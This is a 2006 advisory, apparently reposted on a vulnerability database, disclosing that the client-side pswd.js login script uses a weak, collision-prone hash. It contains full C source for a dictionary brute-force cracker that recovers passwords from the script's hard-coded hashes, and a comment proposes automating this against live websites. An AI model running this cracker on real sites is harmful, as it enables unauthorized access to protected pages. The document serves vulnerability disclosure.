Javascript software authentication brute force attack

2006.08.12
Risk: Low
Local: No
Remote: Yes
CWE: CWE-255


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 0. HISTORICAL CONSIDERATIONS Nowadays it's very easy to have a virtual server with (for instance) mysql and php or any other sort of server-side authentication system, but some time ago many people were trying to use some kinds of client-authentication and pswd.js was a very well-known script, it has been published in some websites, and it was declared as being a very good client-authentication system... I've found some websites that are still using pswd.js, so I've taken a look to it, and i've found that the hash-generation creates many conflicts, i.e. different words could take you to the same hash, and the hash function is very simple to reproduce. I. THE SYSTEM pswd.js is a client-side authentication script. It generates a hash of a password provided in a form, and checks if the generated hash is included in its hard-coded vector, if yes it re-directs the user in a "secret" html page. The system is very simple to break, the included C file can parse the 20M-words Jargon dictionary, calculates a hash for each word an compares the hash with the well known hashes taken from the pswd.js. Processing the entire jargon file requires less than one minute to run(tested on Debian GNU/Linux running on a 3,2 GHz PIV with 1 GB RAM) 2. THE CODE: /* * processes the word.lst and computes the password : * if a hash corresponds to a password listed and in the vector it prints password, username and hash code * * todo: * 1. make the account file dynamic * 2. make the dictionary dynamic * 3. make dynamic all the procedure: one could connect to a website, download the pswd.js file, process it and found passwords... * * Developed by Gianstefano Monni */ #include <stdio.h> #include <math.h> #include <string.h> long pwdchk (char *); char base[]= {'0','1','2','3','4','5','6','7','8','9', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R', 'S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r', 's','t','u','v','w','x','y','z'}; char pass[30]; long f[]={23,535,1047,1559,2071,2583,3095,3607,4119,4631, 12,21,26,38,53,72,101,139,294,375,584,841,1164,1678,2425,4989,6478,10076 ,14494,21785,30621,69677,87452,139356,201113,278810, 80,83,93,99,113,131,159,194,346,416,619,861,1165,1649,2256,4766,6077,955 4,13713,20576,28894,65661,82386,131248,164801,262524}; char K[62]; //the pwd structure typedef struct { char *user; long code; char *plain_pass; }PWD; //the list of username and passwords, it is hard-coded in the pswd.js file PWD pwd_list[]= { {"ti8ae88me",73303,""}, {"koqaaheo",61899,""} }; //number of elements in pwd_list int pwd_num=2; void gen_f() { long x=0; long y=28; long z=23; for (x=0;x<62;x++) f[x]=0; for (x=0; x<10; x++){ f[x]=x<<9; f[x]+=23; } for (x=10; x<36; x++){ y=y<<1; long v= (int) sqrt(y); v+=5; f[x]=v; y++; } for (x=36; x<62; x++){ z=z<<1; long v= (int) sqrt(z); v+=74; f[x]=v; z++; } } int main (int argc, char ** argv) { char passwd[255]; FILE * fp=0; int x=0; int i=0; long num=0; long code; if (argc <=1){ fp=fopen("word.lst","r"); if (fp){ while (!feof(fp)){ //prints a message every 1M words processed if ((++num % 1000000)==0) printf("%d words processed",num); //reads the word and computes the hash fscanf(fp,"%s",passwd); code=pwdchk(passwd); //checks if the computed hash is included in the hash vector for (x=0;x<pwd_num;x++) if (code==pwd_list[x].code) //if yes, we've found a password printf("FOUND user: %s password: %s code %dnn",pwd_list[x].user,passwd,code); } } } else{ code=pwdchk(argv[1]); printf("%s:%dn",argv[1],code); } return 0; } long pwdchk(char *aPasswd){ long code=0; int l=0,y=0,x=0; int lpass=strlen(aPasswd); for (l=0; l<lpass; l++) K[l]=aPasswd[l]; for (y=0; y<lpass; y++){ for(x=0; x<62; x++){ if (K[y]==base[x]) code+=((y+1)*f[x]); } } return code; } - -- Gianstefano Monni We reject kings, presidents and voting We believe in rough consensus and running code IETF Credo -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQEVAwUBRNHQnHD3fdZDIhRPAQIR0wgAjLmvfW40BUQd/5ApZVaWdPfYe7kXEK2N mJdIbWZiLJgiDPqalwuXevjXhS0xXxYHlJr0wb5UXeFD7WV0OMGqfWQNXJzToXQr JoHJdD7GmXgqPYkBeScpJBQi4HLo6Qxvg8OAQv4jJQenQ3XT5gTQHWKNdqyeY22W R1dx8pSyO8NCvWOv5cMbwkQbLCcEKHl/2AbredOBzvUUiU8+EiEBl4ZB5rFCc5Qg iIZIJypmZnw+8hA72hwTy77WYk70RZGUnZbca05p94XfI2temdpNjzF5CCGxuVEv 0sarut4OxHKfPiej+PnZuqCMt9b9ZTyk0GYbFMyENQ6VgpxLuVF5Tw== =1bHl -----END PGP SIGNATURE-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top